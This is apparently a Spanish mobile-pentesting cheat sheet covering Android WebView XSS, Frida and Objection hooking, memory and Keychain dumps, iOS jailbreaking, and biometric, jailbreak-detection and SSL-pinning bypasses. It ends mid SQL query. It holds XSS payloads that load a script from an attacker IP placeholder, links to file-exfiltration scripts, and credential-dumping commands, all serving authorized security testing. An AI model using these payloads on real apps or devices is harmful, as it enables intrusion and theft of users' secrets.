Habilitación de servidor HTTP para compartir el archivo `xss.js`.

```sh
php -S 0.0.0.0:80
```

Payloads para cargar JavaScript desde recurso externo.

```html
<script src="http://<attacker-IP-address>/xss.js"></script>
<img src="x" onerror="s=document.createElement('script');s.src='http://<attacker-IP-address>/xss.js';document.body.appendChild(s);">
```

### Exfiltración de archivos de la aplicación <a href="#cross-site-scripting-xss-exfiltracion-de-archivos-de-la-aplicacion" id="cross-site-scripting-xss-exfiltracion-de-archivos-de-la-aplicacion"></a>

* [exf-sharedpreferences-files.js](https://github.com/MrW0l05zyn/pentesting/blob/master/mobile/webviews/exf-sharedpreferences-files.js)
* [xss.php](https://github.com/MrW0l05zyn/pentesting/blob/master/mobile/webviews/xss.php)

### Exfiltración de archivos de la aplicación desde SD card <a href="#cross-site-scripting-xss-exfiltracion-de-archivos-de-la-aplicacion-desde-sd-card" id="cross-site-scripting-xss-exfiltracion-de-archivos-de-la-aplicacion-desde-sd-card"></a>

* [exf-sd-card-files.js](https://github.com/MrW0l05zyn/pentesting/blob/master/mobile/webviews/exf-sd-card-files.js)
* [xss.php](https://github.com/MrW0l05zyn/pentesting/blob/master/mobile/webviews/xss.php)


# Hooking


# Frida

## Java

Hooking de función.

```javascript
Java.perform(function() {
    var classRef = Java.use("<package-name>.<class-name>");
    classRef.<function-name>.implementation = function() {
        return this.<function-name>();
    }
});
```

Cambiar el valor de retorno de una función.

```javascript
Java.perform(function() {
    var classRef = Java.use("<package-name>.<class-name>");
    classRef.<function-name>.implementation = function() {
        let ret_val = this.<function-name>();
        console.log("[*] Original return value", ret_val);
        let new_ret_val = <new-value>;
        console.log("[*] New return value", new_ret_val);
        return new_ret_val;
    }
});
```

Cambiar el valor booleano de retorno de una función a `false`.

```javascript
Java.perform(function() {
    var classRef = Java.use("<package-name>.<class-name>");
    classRef.<function-name>.implementation = function() {
        let ret_val = this.<function-name>();
        console.log("[*] Original return value " + ret_val);        
        // Alternative 1
        let new_ret_val = false;
        // Alternative 2        
        let new_ret_val = Java.use("java.lang.Boolean").$new(false);
        console.log("[*] New return value " + new_ret_val);
        return new_ret_val;
    }
});
```

Ejecutar método estático (static method).

```javascript
Java.perform(function() {
    var classRef = Java.use("<package-name>.<class-name>");
    classRef.<method-name>();
});
```

Cambiar el valor de una variable.

```javascript
Java.perform(function (){
    var classRef = Java.use("<package-name>.<class-name>");
    classRef.<variable-name>.value = <new-value>;
});
```

Ejecutar método de una clase no estática.

```javascript
Java.perform(function() {
    var classRef = Java.use("<package-name>.<class-name>");
    var classInstance = classRef.$new();
    classInstance.<method-name>();
});
```

Hooking de constructor.

```javascript
Java.perform(function() {
    var classRef = Java.use("<package-name>.<class-name>");
    classRef.$init.implementation = function() {
        this.$init();
    }
});
```

Ejecutar método en una instancia existente.

```javascript
Java.performNow(function() {
    Java.choose("<package-name>.<class-name>", {
        onMatch: function(instance) {
        instance.<method-name>();
    },
    onComplete: function() {}
    });
});
```

Proporcionar un objeto como argumento a un método y ejecutarlo en una instancia existente.

```javascript
Java.performNow(function() {
    Java.choose("<package-name>.<class-name>", {
        onMatch: function(instance) {
            var classRef = Java.use("<package-name>.<class-name>");
            var obj = classRef.$new();
            obj.<variable-name>.value = <value>;
            instance.<method-name>(obj);
        },
        onComplete: function() {}
    });
});
```

## Native libraries


# Objection

Obtener activity actual.

```shell
android hooking get current_activity
```

Listar activities.

```shell
android hooking list activities
```

Obtener clases de la aplicación.

```shell
android hooking search classes <app-package-name>
android hooking search classes <package-name>
```

Obtener métodos de una clase.

```shell
android hooking list class_methods <class-path>
android hooking search methods <package-name> <class-name>
```

Monitorear ejecución de una clase.

```shell
android hooking watch class <class-path> --dump-args --dump-return
```

Monitorear ejecución de un método (argumentos, traza y valor de retorno).

```shell
android hooking watch class_method <method-path> --dump-args --dump-backtrace --dump-return
```

Modificar el valor de retorno (booleano) de una función.

```shell
android hooking set return_value <function-path> <true/false>
```

Generar hooking template de una clase.

```shell
android hooking generate simple <class-name>

objection --gadget <app-package-name> run "android hooking generate simple <class-name>" > template.js
```


# Memory dump

## Fridump

Memory dump de aplicación móvil.

```shell
frida-ps -Ua
mkdir memory-dump
fridump -U -s -o memory-dump <app-name>
```

Búsqueda de información en memory dump extraído.

```shell
strings ./memory-dump/* | grep -Ei "<regex>"
strings ./memory-dump/* | grep -Ei "<word-1>|<word-2>|<word-3>"
strings ./memory-dump/* | grep -Ei "<regex>" -C 3
```

## Objection

Búsqueda de información en memoria.

```shell
memory search "<word1>" --string
```

Memory dump desde una dirección de memoria especifica.

```shell
memory dump from_base <memory-address> <size-to-dump> ./memory-dump
```

Full memory dump.

```shell
memory dump all ./memory-dump
```

Búsqueda de información en memory dump extraído.

```shell
strings memory-dump | grep -Ei "<regex>"
strings memory-dump | grep -Ei "<word-1>|<word-2>|<word-3>"
strings memory-dump | grep -Ei "<regex>" -C 3
```


# Automatizado

Análisis dinámico automatizado

## Mobile Security Framework (MobSF)

* <https://github.com/MobSF/Mobile-Security-Framework-MobSF>


# Firma de app

## Generación de llave

### keytool

```shell
keytool -keystore /tmp/app.keystore -genkey -keyalg RSA -keysize 2048 -dname "CN=app-cn, OU=app-ou, O=app-o, L=app-l, ST=app-st, C=app-c" -validity 180 -alias app-keystore
```

## Firmado de app

### jarsigner

```shell
jarsigner -keystore /tmp/app.keystore app-compiled.apk app-keystore
```

### apksigner

```shell
# Creación de archivo con contraseña
echo "<password>" > password.txt

# Firmado de app
apksigner sign --ks /tmp/app.keystore --ks-pass file:password.txt --v1-signing-enabled true --v2-signing-enabled true app-compiled.apk
```

## Optimización de APK

### zipalign

{% hint style="info" %}
Importante: se debe usar **zipalign** en uno de los dos puntos específicos del proceso de compilación de apps, según la herramienta de firma de apps que se utilice.

* Si usas **apksigner**, zipalign solo debe realizarse antes de que se firme el archivo APK. Si firmas tu APK con un apksigner y realizas más cambios en el APK, tu firma se invalida.&#x20;
* Si usas **jarsigner**, zipalign solo debe realizarse después de que firme el archivo APK.
  {% endhint %}

```shell
zipalign -p -f -v 4 app-compiled.apk app-aligned.apk
```

* -p =alineación de páginas de memoria para archivos de objetos compartidos.
* -f = Sobrescribe archivo de output (`app-aligned.apk`).
* -v = modo verboso.
* 4 = 4 bytes para sistemas de 32 y 64 bits.

Confirmación de alineación de `app-aligned.apk`.

```shell
zipalign -c -v 4 app-aligned.apk
```

## Proceso de firmado de app

```sh
echo -e "password\npassword" > password.txt
cat password.txt | keytool -keystore /tmp/app.keystore -genkey -keyalg RSA -keysize 2048 -dname "CN=app-cn, OU=app-ou, O=app-o, L=app-l, ST=app-st, C=app-c" -validity 180 -alias app-keystore
zipalign -p -f -v 4 app-compiled.apk app-aligned.apk
echo password | apksigner sign --ks /tmp/app.keystore --out app-signed.apk app-aligned.apk
adb uninstall $(aapt dump badging app-compiled.apk | grep package | awk -F"'" '{print $2}')
adb install app-signed.apk
```

* <https://github.com/MrW0l05zyn/pentesting/blob/master/mobile/sign_and_install_apk.sh>


# Herramientas

## android4me

* <https://code.google.com/archive/p/android4me/>

## Android Debug Bridge (adb)

* <https://developer.android.com/studio/command-line/adb>
* <https://developer.android.com/studio/releases/platform-tools>

## APKLeaks

* <https://github.com/dwisiswant0/apkleaks>

## APKLab

* <https://apklab.surendrajat.xyz/>

## APKscan

* <https://github.com/LucasFaudman/apkscan>

## Apktool

* <https://ibotpeaches.github.io/Apktool/>

## baksmali

* <https://github.com/JesusFreke/smali>

## dex2jar

* <https://github.com/pxb1988/dex2jar>

## Drozer

* <https://github.com/WithSecureLabs/drozer>

## FileZilla

* <https://filezilla-project.org/>

## Frida

* <https://frida.re/>

## Fridump

* <https://github.com/Nightbringer21/fridump>

## Información de app

* [APK Analyzer](https://play.google.com/store/apps/details?id=sk.styk.martin.apkanalyzer)

## Instalación de app

* [Split APKs Installer (SAI)](https://play.google.com/store/apps/details?id=com.aefyr.sai)

## jadx

* <https://github.com/skylot/jadx>

## JD-GUI

* <http://java-decompiler.github.io/>

## Medusa

* <https://github.com/Ch0pin/medusa>

## Mirroring

* [Vysor](https://www.vysor.io/)

## Mobile Security Framework (MobSF)

* <https://github.com/MobSF/Mobile-Security-Framework-MobSF>

## Objection

* <https://github.com/sensepost/objection/>

## PID Cat

* <https://github.com/JakeWharton/pidcat>

## Pithus

* <https://beta.pithus.org/>

## ProxyDroid

* <https://play.google.com/store/apps/details?id=org.proxydroid>

## Quick Android Review Kit (QARK)

* <https://github.com/linkedin/qark>

## Runtime Mobile Security (RMS)

* <https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security>

## Termux

* <https://play.google.com/store/apps/details?id=com.termux>

## TruffleHog

* <https://github.com/trufflesecurity/trufflehog>


# Aplicaciones vulnerables

## iBugBazaar

* <https://github.com/payatu/iBugBazaar>

## Damn Vulnerable iOS App v2 (DVIA-v2)

* <https://github.com/prateek147/DVIA-v2>

## Frida iOS Playground

* <https://github.com/NVISOsecurity/frida-ios-playground>


# Emuladores

## Corellium

* <https://www.corellium.com/>

## Xcode

* <https://developer.apple.com/xcode/>


# Jailbreak

## Untethered

No se pierde el jailbreak cuando se reinicia el dispositivo.

## Semi-Untethered

Se pierde el jailbreak cuando se reinicia el dispositivo. No es necesario conectar el dispositivo a una computadora para volver aplicar el jailbreak, generalmente se realiza usando una aplicación instalada en el dispositivo.

### unc0ver

* <https://unc0ver.dev/>

## Tethered

Se pierde el jailbreak cuando se reinicia el dispositivo dejándolo en “bootloop”. Es necesario conectar el dispositivo a una computadora para poder volver a utilizar el dispositivo y aplicar el jailbreak.

## Semi-tethered

Se pierde el jailbreak cuando se reinicia el dispositivo, pero este encenderá normalmente. Es necesario conectar el dispositivo a una computadora para volver aplicar el jailbreak.

### checkra1n

* <https://checkra.in/>

### palera1n

* <https://palera.in/>

En dispositivos que cuenten con el procesador A11, es necesario desactivar el código de acceso y se impedirá el uso de cualquier otra función que utilice Secure Enclave Processor (SEP) hasta que el sistema operativo iOS se inicie en un estado estándar. Dentro de las funciones abarcadas por SEP se encuentra el código de acceso, Touch ID y Face ID. Es decir, es imprescindible desactivar el código de acceso y no utilizar otras funciones de Secure Enclave Processor (SEP) si se desea llevar a cabo el proceso de jailbreak utilizando palera1n.

Alternativas para utilizar código de acceso, Touch ID y Face ID posterior al proceso de jailbreak con palera1n.

* FakePass (código de acceso)
* Checkl0ck (código de acceso, Touch ID y Face ID)

#### MacOS <a href="#palera1n-macos" id="palera1n-macos"></a>

Instalación de palera1n.

```sh
# Instalación directa
sudo /bin/sh -c "$(curl -fsSL https://static.palera.in/scripts/install.sh)"

# Instalación manual
sudo mkdir /usr/local/bin
sudo mv ./palera1n-macos-universal /usr/local/bin/palera1n
sudo xattr -c /usr/local/bin/palera1n
sudo chmod +x /usr/local/bin/palera1n
```

#### Rootles <a href="#palera1n-rootles" id="palera1n-rootles"></a>

Realización de jailbreak rootles.

```sh
palera1n -l
```

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FvWq05ovWcpSTYnG3LzvZ%2Fejecucion-de-palera1n-rootles.jpg?alt=media&amp;token=34352f47-dc57-4bd1-831e-31593eae7569" alt=""><figcaption><p>Ejecución de palera1n rootles</p></figcaption></figure>

#### Rootful <a href="#palera1n-rootful" id="palera1n-rootful"></a>

Realización de jailbreak rootful.

```sh
palera1n       # uso general 
palera1n -B -f # 2 a 3 GB de espacio de almacenamiento libre (sólo iOS 15)
palera1n -c -f # más de 10 a 15 GB de espacio de almacenamiento libre
```

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FlyjqSVoMBPhQUaKffHUz%2Fejecucion-de-palera1n.jpg?alt=media&amp;token=2198afc8-759d-4098-bd12-6401dc57061f" alt=""><figcaption><p>Ejecución de palera1n rootful</p></figcaption></figure>

Una vez el dispositivo se reinicie y vuelva a iniciar iOS ejecutar el siguiente comando.

```sh
palera1n -f
```

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2F7RhmvY7mo8vUul2dnMcQ%2Fjailbreak-palera1n-rootful.png?alt=media&amp;token=e4505117-1005-4f95-9a2a-714419cedcf1" alt=""><figcaption><p>Jailbreak palera1n rootful</p></figcaption></figure>

Volver aplicar jailbreak en caso de apagado o reinicio del dispositivo.

```sh
palera1n -f
```

## Referencias

* <https://appledb.dev/>
* <https://canijailbreak.com/>


# SSH (Secure SHell)

## Sileo

1\) Instalar OpenSSH en el dispositivo desde Sileo.

* Sileo -> Buscar -> OpenSSH -> Obtener -> Añadir a la cola -> Confirmar

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2F0HPALTEz7UXl44zdcl6v%2Finstalacion-openssh-sileo.png?alt=media&amp;token=66e7ee3e-f8ba-4890-85b1-ef3ffa3fc6a4" alt=""><figcaption></figcaption></figure>

2\) Opción 1: asignar contraseña a usuario root desde SSH.

```shell
ssh mobile@<device-ip-address>
# Ingresar contraseña establecida durante la instalación de Sileo (usuario mobile)
sudo passwd root
```

3\) Opción 2: asignar contraseña a usuario root desde NewTerm.

3.1) Instalar NewTerm en el dispositivo desde Sileo.

* Sileo -> Buscar -> NewTerm -> Obtener -> Añadir a la cola -> Confirmar

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FoMNnw1gSvmSvLtHoSJkb%2Finstalacion-newterm-sileo.png?alt=media&amp;token=cf679b6a-2cd9-4dee-801f-5539e1a9362d" alt=""><figcaption></figcaption></figure>

3.2) Asignar contraseña a usuario root desde NewTerm.

```sh
sudo passwd root
# Ingresar contraseña establecida durante la instalación de Sileo (usuario mobile)
```

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FovTUILfApFwCw4DjGyiU%2Fasignacion-password-usuario-root-desde-newterm.png?alt=media&amp;token=ff3d16a2-4fe9-467d-a702-31b90da502de" alt=""><figcaption></figcaption></figure>

4\) Conexión SSH al dispositivo.

```shell
ssh root@<device-ip-address>
```

## Cydia

1\) Instalar OpenSSH en el dispositivo desde Cydia.

* Cydia -> Buscar -> OpenSSH -> Instalar

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FQZeF11V9cEPyYFCX1Jas%2Finstalacion-openssh-cydia.png?alt=media&amp;token=ad78a7bc-80a3-439a-aff4-10ff3f2f09fb" alt=""><figcaption></figcaption></figure>

2\) Conexión SSH al dispositivo.

* Usuario: `root`
* Contraseña por defecto: `alpine`

```shell
ssh root@<device-ip-address>
```

3\) Cambiar contraseñas predeterminadas.

```shell
# Usuario root
su root
passwd

# Usuario mobile
passwd mobile
```


# Transferencia de archivos

## SCP (secure copy)

Copiar archivo al dispositivo.

```shell
scp <local-file> <user>@<device-ip-address>:<destination-directory>
scp app.ipa <user>@<device-ip-address>:/tmp/
```

Copiar archivo desde el dispositivo.

```shell
scp <user>@<device-ip-address>:<remote-file> <destination-directory>
scp <user>@<device-ip-address>:/tmp/app.ipa .
```


# Análisis estático


# Archivo IPA

## Desempaquetar IPA

```shell
cp application.ipa application.zip
unzip application.zip -d app-unpacked
```


# Info.plist

## General

Directorio de almacenamiento.

```shell
/private/var/containers/Bundle/Application/<app-ID>/<app-name>.app/Info.plist
```

Exportar archivo `Info.plist` desde el dispositivo.

```sh
scp <user>@<device-ip-address>:/private/var/containers/Bundle/Application/<app-ID>/<app-name>.app/Info.plist <destination-directory>
```

Conversión de formato de archivo.

```shell
# plistutil (Linux)
plistutil -i Info.plist -o info.xml

# plutil (MacOS / iOS)
plutil -convert xml1 Info.plist && cat Info.plist > info.xml
```

## App Transport Security (ATS)

Mejora la privacidad y la integridad de los datos al garantizar que las conexiones de red de las aplicaciones móviles utilicen únicamente protocolos y cifrados estándar de la industria sin debilidades conocidas. Se encuentra habilitado de forma predeterminada desde iOS 9.0.

Estructura general de configuración de App Transport Security (ATS):

```sh
NSAppTransportSecurity : Dictionary {
    NSAllowsArbitraryLoads : Boolean
    NSAllowsArbitraryLoadsForMedia : Boolean
    NSAllowsArbitraryLoadsInWebContent : Boolean
    NSAllowsLocalNetworking : Boolean
    NSExceptionDomains : Dictionary {
        <domain-name-string> : Dictionary {
            NSIncludesSubdomains : Boolean
            NSExceptionAllowsInsecureHTTPLoads : Boolean
            NSExceptionMinimumTLSVersion : String
            NSExceptionRequiresForwardSecrecy : Boolean
            NSRequiresCertificateTransparency : Boolean
        }
    }
}
```

### NSAllowsArbitraryLoads <a href="#app-transport-security-ats-nsallowsarbitraryloads" id="app-transport-security-ats-nsallowsarbitraryloads"></a>

El tráfico HTTP está bloqueado de forma predeterminada debido a App Transport Security (ATS), pero puede ser habilitado configurando el atributo `NSAllowsArbitraryLoads` en `YES/true` en el archivo `Info.plist`. Por lo cual, su valor debe ser `NO/false` o no estar definido en el archivo `Info.plist`.

```sh
grep NSAllowsArbitraryLoads -A 1 Info.plist
```

El siguiente fragmento ejemplifica la desactivación de las restricciones de App Transport Security (ATS) a nivel global en una aplicación móvil.

{% code title="Info.plist" %}

```xml
<key>NSAppTransportSecurity</key>
<dict>
    <key>NSAllowsArbitraryLoads</key>
    <true/>
</dict>
```

{% endcode %}

### NSExceptionDomains <a href="#app-transport-security-ats-nsexceptiondomains" id="app-transport-security-ats-nsexceptiondomains"></a>

#### NSExceptionAllowsInsecureHTTPLoads <a href="#app-transport-security-ats-nsexceptiondomains-nsexceptionallowsinsecurehttploads" id="app-transport-security-ats-nsexceptiondomains-nsexceptionallowsinsecurehttploads"></a>

Permite tráfico HTTP para un dominio específico, por lo cual, su valor debe ser `NO/false` o no estar definido en el archivo `Info.plist`.

```sh
grep NSExceptionAllowsInsecureHTTPLoads -A 1 Info.plist
```


# Automatizado

Análisis estático automatizado

## AppSweep (Guardsquare)

* <https://appsweep.guardsquare.com/>

## Mobile Security Framework (MobSF)

* <https://github.com/MobSF/Mobile-Security-Framework-MobSF>


# Análisis dinámico


# Anti-jailbreak

## Bypass de anti-jailbreak

### Objection

```shell
objection --gadget <app-package-name> explore --startup-command "ios jailbreak disable"
```


# Biometría

## Bypass de biometría

### Frida scripts

* [bypassBiometricAuthenticationiOS.js](https://github.com/MrW0l05zyn/frida-scripts-pentesting/blob/main/bypassBiometricAuthenticationiOS.js)

### Objection

```shell
ios ui biometrics_bypass
```


# Captura de tráfico de red


# Burp Suite

## Instalación de certificado CA en dispositivo iOS <a href="#instalacion-de-certificado-ca-en-dispositivo-ios" id="instalacion-de-certificado-ca-en-dispositivo-ios"></a>

1\) Configurar Burp Suite para que escuche por la interfaz de red.

* Burp Suite -> Proxy -> Options -> Proxy Listeners -> Edit -> Binding -> Bind to address: Specific address

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2Fzm2CqqE0vFk5P2wiKmTu%2Fburp-suite-edit-proxy-listener.png?alt=media&amp;token=70f27c96-b876-4043-9d55-7266d4b00834" alt=""><figcaption><p>Seleccionar opción "Specific address"</p></figcaption></figure>

2\) Ingresar a `http://<ip-address-burp-suite>:8080` desde el navegador del dispositivo iOS y hacer clic en "CA Certificate" para decargar el certificado.

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FeZ62pt1ViH1hKdmyydCC%2Fdescarga-burp-suite-ca-certificate.jpg?alt=media&amp;token=c2a37b3e-0001-47b4-a93a-8efbb057b291" alt=""><figcaption><p>Hacer clic en "CA Certificate"</p></figcaption></figure>

3\) Instalar el certificado descargado "PortSwigger CA" en el dispositivo iOS.

* Configuración -> General -> Perfil -> PortSwigger CA -> Instalar

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FaUH2aLWmG7dkHVHcZLAP%2Fcertificado-portswigger-ca-instalado-en-dispositivo-ios.png?alt=media&amp;token=2611de76-8978-40e9-a485-4e48e72e6e9b" alt=""><figcaption><p>Certificado "PortSwigger CA" instalado en dispositivo iOS</p></figcaption></figure>

4\) Habilitar certificado "PortSwigger CA" en el dispositivo iOS.

* Configuración -> General -> Información -> Config. certificados de confianza -> PortSwigger CA -> Habilitar

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2F4SSpqUnAyJoFRnQ7hyfC%2Fcertificado-portswigger-ca-habilitado-en-dispositivo-ios.png?alt=media&amp;token=060176b4-ed4a-46e1-a22e-677da652caff" alt=""><figcaption><p>Certificado "PortSwigger CA" habilitado en dispositivo iOS</p></figcaption></figure>


# SSL Pinning

## Frida

* ​[Frida Mobile Interception Scripts (HTTP Toolkit)](https://github.com/httptoolkit/frida-interception-and-unpinning)


# Almacenamiento de datos


# Archivos Property List (PList)

## General

Los archivos Property List (PList) pueden ser un archivo XML estándar o pueden estar en formato binario. Si el archivo es un archivo XML estándar, no hay necesidad de herramientas adicionales para leer el archivo, sin embargo, si el archivo está en formato binario, se puede utilizar herramientas como "plistutil" (Linux), "plutil" (MacOS / iOS) u "Objection" para leer la información.

Busqueda de archivos Property List (PList) de una aplicación móvil.

```sh
cd /var/mobile/Containers/Data/Application/<app-ID>/
find . -name "*.plist"
```

## Conversión de formato y lectura de archivo

### plistutil (Linux) <a href="#conversion-de-formato-y-lectura-de-archivo-plistutil-linux" id="conversion-de-formato-y-lectura-de-archivo-plistutil-linux"></a>

```sh
plistutil -i <plist-file> -o file.xml && cat file.xml
```

### plutil (MacOS / iOS) <a href="#conversion-de-formato-y-lectura-de-archivo-plutil-macos-ios" id="conversion-de-formato-y-lectura-de-archivo-plutil-macos-ios"></a>

```sh
plutil -convert xml1 <plist-file> && cat <plist-file> > file.xml && cat file.xml
```

### Objection <a href="#conversion-de-formato-y-lectura-de-archivo-objection" id="conversion-de-formato-y-lectura-de-archivo-objection"></a>

```shell
ios plist cat <plist-file>
```


# NSUserDefaults

## General

NSUserDefaults es uno de los métodos más comunes para guardar las preferencias y propiedades del usuario. Almacena los datos en formato de archivo Property List (PList) en la carpeta de preferencias de la aplicación móvil.

## Manual

Directorio de almacenamiento.

```shell
/var/mobile/Containers/Data/Application/<app-ID>/Library/Preferences/
```

Conversión de formato de archivo.

```shell
# Linux
## conversión a formato XML
plistutil -i <app-package-name>.plist -o nsuserdefaults.xml

# MacOS / iOS
## conversión a formato XML
plutil -convert xml1 <app-package-name>.plist && cat <app-package-name>.plist > nsuserdefaults.xml
## conversión a formato JSON
plutil -convert json <app-package-name>.plist && cat <app-package-name>.json > nsuserdefaults.json && rm <app-package-name>.json
```

Exportar archivo NSUserDefaults desde el dispositivo.

```sh
scp <user>@<device-ip-address>:/var/mobile/Containers/Data/Application/<app-ID>/Library/Preferences/<app-package-name>.plist <destination-directory>
```

Búsqueda de información dentro del archivo NSUserDefaults.

```shell
# Expresiones regulares
grep -Eorin "<regex>" nsuserdefaults.xml
# Búsqueda por palabras claves
grep -Eorin "<word-1>|<word-2>|<word-3>" nsuserdefaults.xml
# Búsqueda por nombres de "key"
grep -Ei "<key-1>|<key-2>|<key-3>" -A 1 nsuserdefaults.xml
```

## Objection

Visualizar NSUserDefaults de una aplicación.

```shell
ios nsuserdefaults get
```

Exportar NSUserDefaults de una aplicación.

```shell
objection --gadget <app-package-name> run "ios nsuserdefaults get" > nsuserdefaults.txt
objection --gadget <process-ID> run "ios nsuserdefaults get" > nsuserdefaults.txt
```

Filtrar datos del NSUserDefaults de una aplicación.

```shell
objection --gadget <app-package-name> run "ios nsuserdefaults get" | grep -Ei "<word-1>|<word-2>|<word-3>"
objection --gadget <process-ID> run "ios nsuserdefaults get" | grep -Ei "<word-1>|<word-2>|<word-3>"
```


# Keychain

## General

Se utiliza para almacenar de forma cifrada información confidencial. El cifrado de datos se realiza automáticamente antes de que sean almacenados.

Directorio de almacenamiento.

```shell
/private/var/Keychains/keychain-2.db
```

## Persistencia de datos

Cuando se desinstala una aplicación móvil, el dispositivo retiene los datos del keychain utilizados por la aplicación, a diferencia de los datos almacenados en el sandbox de la aplicación que si son eliminados.

En el caso que un usuario venda su dispositivo sin realizar un restablecimiento de este, el comprador del dispositivo puede obtener acceso a las cuentas y datos de las aplicaciones del usuario anterior reinstalando las mismas aplicaciones. Esto no requeriría ninguna habilidad técnica para poder realizarlo.

No existe una API que los desarrolladores puedan usar para forzar el borrado de los datos cuando se desinstala una aplicación móvil. En su lugar, los desarrolladores deben seguir los siguientes pasos para evitar que los datos del keychain persistan entre las instalaciones de la aplicación móvil:

* Cuando una aplicación se inicia por primera vez después de la instalación, borrar todos los datos del keychain asociados con la aplicación móvil. Esto evitará que un segundo usuario en el mismo dispositivo acceda accidentalmente a las cuentas del usuario anterior.
* Al desarrollar la funcionalidad de cierre de sesión para una aplicación móvil, asegúrese de que los datos del keychain se borren como parte del proceso de cierre de sesión de la cuenta. Esto permitirá a los usuarios borrar sus cuentas antes de desinstalar una aplicación.

## Control de acceso

### Accesibilidad

El atributo de accesibilidad permite controlar la disponibilidad del dato en relación con el estado de bloqueo del dispositivo. También permite especificar la elegibilidad para la restauración del dato, es decir, si el dato migrará o no a un dispositivo diferente después de restaurar una copia de seguridad

* kSecAttrAccessibleAlways (deprecado)
* kSecAttrAccessibleAlwaysThisDeviceOnly (deprecado)
* kSecAttrAccessibleAfterFirstUnlock
* kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly
* **kSecAttrAccessibleWhenUnlocked** (predeterminado): solo permitirá acceder a los datos del keychain mientras el dispositivo este desbloqueado. En caso de robo del dispositivo y que este cuente con un código de acceso configurado, el atacante deberá desbloquear el dispositivo para que se descifren los datos del keychain. Si no se ingresa el código de acceso correcto, se impedirá que el atacante pueda descifrar los datos del keychain. Sin embargo, si el código de acceso no está configurado, el atacante solo necesita deslizar el dedo para desbloquear el dispositivo y obtener los datos del keychain descifrados. Por lo tanto, no aplicar un código de acceso en el dispositivo debilita el mecanismo de encriptación del keychain.
* kSecAttrAccessibleWhenUnlockedThisDeviceOnly
* **kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly**: solo permitirá acceder a los datos del keychain mientras el dispositivo este desbloqueado y se encuentre configurado un código de acceso en el dispositivo. No permite almacenar datos en el dispositivo sin un código de acceso configurado en el dispositivo y al deshabilitar el código de acceso del dispositivo hará que se eliminen los datos. Los datos con este atributo no migran a un nuevo dispositivo, es decir, después de restaurar una copia de seguridad en un dispositivo diferente, estos datos no estarán. Es importante considerar que este nivel de accesibilidad exigirá que el dispositivo siempre tenga configurado un código de acceso.

### Autenticación

El atributo de autenticación permite solicitar al usuario que demuestre su presencia, es decir, requerir datos biométricos, como Touch ID o Face ID, o un código de acceso.

* kSecAccessControlDevicePasscode: restricción para acceder a un dato con un código de acceso.&#x20;
* kSecAccessControlBiometryAny: restricción para acceder a un dato con Touch ID para cualquier dedo registrado o Face ID.
* **kSecAccessControlBiometryCurrentSet**: restricción para acceder a un dato con Touch ID para los dedos inscritos actualmente, o desde Face ID con el usuario inscrito actualmente.
* kSecAccessControlUserPresence: restricción para acceder a un dato con biometría o código de acceso.
* kSecAccessControlWatch: restricción para acceder a un dato con un reloj.

## Dump

### Keychain Dumper

```shell
scp keychain_dumper root@<device-ip-address>:/tmp/

ssh root@<device-ip-address>
cd /tmp/ && mkdir tools
cd tools && mkdir keychain-dumper
cd keychain-dumper && mv ../../keychain_dumper .
./keychain_dumper -s
```

### Objection

Visualizar Keychain de una aplicación.

```shell
ios keychain dump
```

Exportar Keychain de una aplicación.

```shell
ios keychain dump --json keychain.json
```

Filtrar datos del Keychain de una aplicación.

```shell
# Filtrado a partir de la visualización del Keychain
objection --gadget <app-package-name> run "ios keychain dump" | grep -Ei "<word-1>|<word-2>|<word-3>"
objection --gadget <process-ID> run "ios keychain dump" | grep -Ei "<word-1>|<word-2>|<word-3>"

# Filtrado a partir del Keychain exportado
objection --gadget <app-package-name> run "ios keychain dump --json keychain.json" && cat keychain.json | grep -Ei "<word-1>|<word-2>|<word-3>"
objection --gadget <process-ID> run "ios keychain dump --json keychain.json" && cat keychain.json | grep -Ei "<word-1>|<word-2>|<word-3>"
```


# Cache.db

## General

De forma predeterminada, la librería "NSURLSession" almacena datos de respuestas HTTP en la base de datos SQLite llamada `Cache.db`. Es importante tener en cuenta que esta base de datos puede contener información sensible si se han almacenado en caché cookies, tokens, nombres de usuario u cualquier otra información confidencial.

Directorio de almacenamiento.

```sh
/var/mobile/Containers/Data/Application/<app-ID>/Library/Caches/<package-name>/
```

Exportar base de datos `Cache.db` desde el dispositivo.

```sh
scp <user>@<device-ip-address>:/var/mobile/Containers/Data/Application/<app-ID>/Library/Caches/<package-name>/Cache.db* <destination-directory>
```

## Revisión de base de datos Cache.db

Búsqueda por palabras claves.

```sh
strings Cache.db | grep -Ei "<word-1>|<word-2>|<word-3>"
```

Revisión con "DB Browser for SQLite".

```sh
sqlitebrowser Cache.db
```

Búsqueda por palabras claves en tabla `cfurl_cache_receiver_data`.

```sql
SELECT * 
FROM   cfurl_cache_receiver_data 
